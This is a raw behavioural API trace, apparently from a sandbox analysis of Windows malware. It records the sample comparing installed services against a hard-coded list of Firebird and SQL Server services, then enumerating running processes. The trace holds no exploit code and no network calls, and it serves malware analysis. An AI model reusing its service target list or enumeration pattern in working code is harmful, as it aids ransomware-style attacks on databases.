(lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0122.847] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0122.847] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0122.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0122.847] lstrlenW (lpString="KeyIso") returned 6 [0122.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0122.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0122.847] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0122.847] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0122.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0122.847] lstrlenW (lpString="LanmanServer") returned 12 [0122.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0122.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0122.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0122.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0122.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0122.848] lstrlenW (lpString="LanmanWorkstation") returned 17 [0122.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0122.848] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0122.848] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0122.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0122.848] lstrlenW (lpString="lfsvc") returned 5 [0122.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0122.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0122.848] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0122.848] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0122.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0122.848] lstrlenW (lpString="lmhosts") returned 7 [0122.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0122.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0122.848] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0122.848] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0122.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0122.848] lstrlenW (lpString="LSM") returned 3 [0122.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0122.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0122.848] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0122.848] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0122.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0122.848] lstrlenW (lpString="MapsBroker") returned 10 [0122.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0122.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0122.848] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0122.849] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0122.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0122.849] lstrlenW (lpString="MpsSvc") returned 6 [0122.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0122.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0122.849] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0122.849] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0122.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0122.849] lstrlenW (lpString="NcbService") returned 10 [0122.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0122.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0122.849] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0122.849] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0122.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0122.849] lstrlenW (lpString="netprofm") returned 8 [0122.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0122.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0122.849] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0122.849] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0122.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0122.849] lstrlenW (lpString="NlaSvc") returned 6 [0122.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0122.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0122.849] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0122.849] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0122.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0122.850] lstrlenW (lpString="nsi") returned 3 [0122.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0122.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0122.850] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0122.850] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0122.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0122.850] lstrlenW (lpString="PcaSvc") returned 6 [0122.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0122.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0122.850] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0122.850] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0122.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0122.850] lstrlenW (lpString="PlugPlay") returned 8 [0122.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0122.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0122.850] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0122.850] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0122.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0122.850] lstrlenW (lpString="Power") returned 5 [0122.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0122.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0122.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0122.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0122.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0122.850] lstrlenW (lpString="ProfSvc") returned 7 [0122.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0122.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0122.850] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0122.851] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0122.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0122.851] lstrlenW (lpString="RpcEptMapper") returned 12 [0122.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0122.851] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0122.851] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0122.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0122.851] lstrlenW (lpString="RpcSs") returned 5 [0122.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0122.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0122.851] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0122.851] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0122.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0122.851] lstrlenW (lpString="SamSs") returned 5 [0122.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0122.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0122.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0122.851] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0122.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0122.851] lstrlenW (lpString="Schedule") returned 8 [0122.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0122.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0122.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0122.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0122.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0122.851] lstrlenW (lpString="SecurityHealthService") returned 21 [0122.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0122.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0122.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0122.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0122.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0122.852] lstrlenW (lpString="SENS") returned 4 [0122.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0122.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0122.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0122.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0122.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0122.852] lstrlenW (lpString="ShellHWDetection") returned 16 [0122.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0122.852] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0122.852] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0122.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0122.852] lstrlenW (lpString="Spooler") returned 7 [0122.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0122.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0122.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0122.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0122.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0122.852] lstrlenW (lpString="sppsvc") returned 6 [0122.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0122.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0122.852] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0122.852] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0122.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0122.853] lstrlenW (lpString="SSDPSRV") returned 7 [0122.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0122.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0122.853] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0122.853] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0122.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0122.853] lstrlenW (lpString="StateRepository") returned 15 [0122.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0122.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0122.853] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0122.853] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0122.853] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38d6298 | out: hHeap=0x4b0000) returned 1 [0122.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c [0123.126] Process32FirstW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.126] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.145] lstrlenW (lpString="System") returned 6 [0123.145] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.159] lstrlenW (lpString="smss.exe") returned 8 [0123.160] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.160] lstrlenW (lpString="csrss.exe") returned 9 [0123.160] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.161] lstrlenW (lpString="wininit.exe") returned 11 [0123.161] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.161] lstrlenW (lpString="csrss.exe") returned 9 [0123.161] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.162] lstrlenW (lpString="winlogon.exe") returned 12 [0123.162] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.163] lstrlenW (lpString="services.exe") returned 12 [0123.163] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.163] lstrlenW (lpString="lsass.exe") returned 9 [0123.163] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.164] lstrlenW (lpString="svchost.exe") returned 11 [0123.164] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0123.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0123.165] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0123.165] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0123.165] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.166] lstrlenW (lpString="svchost.exe") returned 11 [0123.166] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.166] lstrlenW (lpString="dwm.exe") returned 7 [0123.166] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.167] lstrlenW (lpString="svchost.exe") returned 11 [0123.167] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.168] lstrlenW (lpString="svchost.exe") returned 11 [0123.168] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.168] lstrlenW (lpString="svchost.exe") returned 11 [0123.168] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.169] lstrlenW (lpString="svchost.exe") returned 11 [0123.169] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.169] lstrlenW (lpString="svchost.exe") returned 11 [0123.169] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.170] lstrlenW (lpString="svchost.exe") returned 11 [0123.170] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.170] lstrlenW (lpString="svchost.exe") returned 11 [0123.170] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.171] lstrlenW (lpString="svchost.exe") returned 11 [0123.171] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.171] lstrlenW (lpString="svchost.exe") returned 11 [0123.172] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.172] lstrlenW (lpString="svchost.exe") returned 11 [0123.172] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.173] lstrlenW (lpString="spoolsv.exe") returned 11 [0123.173] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.173] lstrlenW (lpString="svchost.exe") returned 11 [0123.173] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.174] lstrlenW (lpString="audiodg.exe") returned 11 [0123.174] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0123.175] lstrlenW (lpString="sihost.exe") returned 10 [0123.175] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.175] lstrlenW (lpString="svchost.exe") returned 11 [0123.175] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0123.176] lstrlenW (lpString="taskhostw.exe") returned 13 [0123.176] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.177] lstrlenW (lpString="explorer.exe") returned 12 [0123.177] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0123.177] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0123.177] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0123.178] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0123.178] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0123.178] lstrlenW (lpString="Memory Compression") returned 18 [0123.178] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0123.179] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0123.179] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0123.180] lstrlenW (lpString="SearchUI.exe") returned 12 